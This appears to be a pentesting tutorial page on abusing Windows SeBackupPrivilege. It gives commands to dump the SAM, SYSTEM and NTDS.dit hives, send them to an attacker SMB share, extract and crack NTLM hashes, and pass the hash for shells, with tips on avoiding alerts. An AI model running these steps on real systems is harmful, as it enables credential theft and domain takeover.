# SeBackupPrivilege Abuse for Privilege Escalation

> Exploits SeBackupPrivilege on Windows to read sensitive files like SAM/SYSTEM, enabling credential extraction and local privilege escalation.

- **URL:** https://hackindex.io/platforms/windows/privilege-escalation/sebackupprivilege-abuse
- **Path:** Windows > Privilege Escalation
- **Up:** [Privilege Escalation](https://hackindex.io/platforms/windows/privilege-escalation.md)
- **Published:** 2026-03-15
- **Updated:** 2026-08-11

`SeBackupPrivilege` allows reading any file on the system regardless of ACLs: it is designed for backup software. With this privilege you can copy the `SAM` and `SYSTEM` registry hives even though they are locked and protected. Extract local account NTLM hashes from those files and either crack them or use them directly for pass-the-hash authentication.

This privilege is commonly assigned to members of the Backup Operators group and some service accounts. It does not require local admin rights. On a Domain Controller, it also grants access to `NTDS.dit`, which holds every domain account hash. Accounts with this privilege are high-value targets during post-exploitation.

- Copy SAM, SYSTEM, and SECURITY hives using `reg save` or backup semantics
- Extract NTLM hashes with `impacket-secretsdump`
- Use hashes for pass-the-hash or crack them offline
- On Domain Controllers, copy `NTDS.dit` via VSS shadow copy

## SeBackupPrivilege Windows Escalation Check

```bash
whoami /priv | findstr SeBackupPrivilege
```

`SeBackupPrivilege` must show `Enabled`. If it shows `Disabled`, enable it: the privilege is assigned to the current token but not yet active. Most group-inherited privileges arrive in the Disabled state. Activating it requires a token manipulation API call, not additional access. Enabling it does not change group membership or generate an event log entry for the privilege change itself.

```powershell
# Enable disabled privilege via token manipulation
Import-Module .\Enable-Privilege.ps1
Enable-Privilege SeBackupPrivilege
```

Or use the SeBackupPrivilegeCmdlets: both DLLs come from the same GitHub repo. `Set-SeBackupPrivilege` wraps the WinAPI `AdjustTokenPrivileges` call and activates the privilege in the current process token. Either approach works; prefer the cmdlets if they are already staged on the target.

```powershell
Import-Module .\SeBackupPrivilegeCmdLets.dll
Import-Module .\SeBackupPrivilegeUtils.dll
Set-SeBackupPrivilege
```

## Step 1: Copy SAM and SYSTEM Hives

The SAM and SYSTEM files are locked by the OS. Use `reg save` to create unlocked copies: `SeBackupPrivilege` allows this even as a non-admin. Stage files in `C:\Windows\Temp`: it is writable by standard users and unlikely to trigger path-based alerts. Include the `SECURITY` hive to capture LSA secrets, which may contain cached service account passwords in plaintext or reversibly encrypted form. All three commands succeed silently on success. Any error output indicates a failed save.

```bash
reg save HKLM\SAM C:\Windows\Temp\SAM
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM
reg save HKLM\SECURITY C:\Windows\Temp\SECURITY
```

If `reg save` is blocked, use the backup API directly via PowerShell: some environments restrict registry export for non-admin accounts via GPO. `Copy-FileSeBackupPrivilege` opens the file handle with `FILE_FLAG_BACKUP_SEMANTICS`, which instructs the kernel to skip the normal ACL check. The operation completes silently. No output on success. An access denied error means the privilege is not active in the current token.

```powershell
Import-Module .\SeBackupPrivilegeCmdLets.dll
Import-Module .\SeBackupPrivilegeUtils.dll

# Copy files using backup semantics
Copy-FileSeBackupPrivilege C:\Windows\System32\config\SAM C:\Windows\Temp\SAM -Overwrite
Copy-FileSeBackupPrivilege C:\Windows\System32\config\SYSTEM C:\Windows\Temp\SYSTEM -Overwrite
```

Or use robocopy with backup mode: the `/B` flag activates backup semantics at the robocopy level. The output shows a summary table with copied file counts. Check the `Copied` row to confirm both files transferred. Robocopy is noisier than the PowerShell cmdlets and may generate additional process creation events on monitored targets.

```bash
robocopy /B C:\Windows\System32\config C:\Windows\Temp SAM SYSTEM
```

## Step 2: Transfer to Attack Box

Start `impacket-smbserver` on your attack box before running the copy commands on the target. The transfer fails silently if the server is not listening. Run the server as root. If outbound SMB (port 445) is filtered, use a Python HTTP server instead and pull files on the target with `certutil -urlcache -split -f`. Transfer SAM, SYSTEM, and SECURITY if all three were saved.

```bash
# Using SMB share
impacket-smbserver share /tmp -smb2support

# On target
copy C:\Windows\Temp\SAM \\$LHOST\share\
copy C:\Windows\Temp\SYSTEM \\$LHOST\share\
```

## Step 3: Extract Hashes

The output format is `username:RID:LM:NT:::`. The LM value `aad3b435b51404eeaad3b435b51404ee` means LM hashing is disabled: ignore it. The NT hash is the value to use for pass-the-hash or cracking. The `Administrator` account appears at RID 500. Other local accounts follow. If the SECURITY hive was included, LSA secrets appear below the local account hashes.

```bash
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:NTHASH:::
#
```

## Step 4: Use the Hashes

**Pass-the-hash to get a shell:**

Choose the tool based on what the target exposes. `psexec` drops a service binary and returns a SYSTEM shell. `wmiexec` uses WMI, leaves less on disk, and returns an admin shell. `evil-winrm` requires WinRM on port 5985 or 5986. The `-hashes` argument format is `LMhash:NThash`: use the empty LM hash as the LM portion when LM is disabled. A successful connection confirms the hash is valid and the account has local admin rights on the target.

```bash
impacket-psexec -hashes :NTHASH Administrator@$TARGET_IP
evil-winrm -i $TARGET_IP -u Administrator -H NTHASH
impacket-wmiexec -hashes :NTHASH Administrator@$TARGET_IP
```

**Crack the hash offline:**

```bash
hashcat -m 1000 NTHASH /usr/share/wordlists/rockyou.txt
john --format=NT hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

For the full password attack workflow see [https://hackindex.io/platforms/windows/privilege-escalation/windows-password-attacks](https://hackindex.io/platforms/windows/privilege-escalation/windows-password-attacks).

## Reading NTDS.dit (Domain Controller)

If the target is a Domain Controller, `SeBackupPrivilege` allows copying `NTDS.dit`: the AD database containing all domain account hashes. `NTDS.dit` is locked by the AD DS database engine while the DC is running. Direct file copy fails. A VSS shadow copy creates a point-in-time snapshot of the volume and lets you read locked files through it. The diskshadow script creates the snapshot and exposes it as drive `z:`. Copy NTDS.dit from `z:\Windows\NTDS\ntds.dit` using backup semantics and save the SYSTEM hive separately. secretsdump needs the SYSTEM hive to extract the boot key, which decrypts the hashes stored in NTDS.dit.

```bash
# Create a shadow copy and copy NTDS.dit
diskshadow /s C:\Windows\Temp\shadow.dsh
```

Create the shadow script file first: each line is a diskshadow directive. `set context persistent nowriters` excludes VSS writers that would otherwise interfere with the snapshot. `add volume c: alias privesc` targets the system drive and assigns an alias for later reference. `create` triggers the actual shadow copy. `expose %privesc% z:` mounts the snapshot as drive `z:`.

```bash
set context persistent nowriters
add volume c: alias privesc
create
expose %privesc% z:
```

```bash
echo set context persistent nowriters > C:\Windows\Temp\shadow.dsh
echo add volume c: alias privesc >> C:\Windows\Temp\shadow.dsh
echo create >> C:\Windows\Temp\shadow.dsh
echo expose %privesc% z: >> C:\Windows\Temp\shadow.dsh
diskshadow /s C:\Windows\Temp\shadow.dsh

# Copy NTDS.dit from shadow copy
Copy-FileSeBackupPrivilege z:\Windows\NTDS\ntds.dit C:\Windows\Temp\ntds.dit -Overwrite
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM
```

Extract hashes: secretsdump decrypts NTDS.dit offline using the boot key from the SYSTEM hive. Output format matches the local SAM dump: `username:RID:LM:NT:::`. Large domains return thousands of lines. The `krbtgt` account hash appears near the top. Use `grep krbtgt` to isolate it. The `krbtgt` NT hash enables golden ticket creation. Machine account hashes (names ending in `$`) are included but rarely useful for pass-the-hash unless targeting a specific service.

```bash
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
```

## References

- [Windows Privilege Constants ](https://docs.microsoft.com/en-us/windows/win32/secauthz/privilege-constants) - Microsoft Docs SeBackupPrivilege definition and access rights granted.
- [ SeBackupPrivilege](https://github.com/giuliano108/SeBackupPrivilege) - CmdLets PowerShell module for enabling and using backup semantics file copy.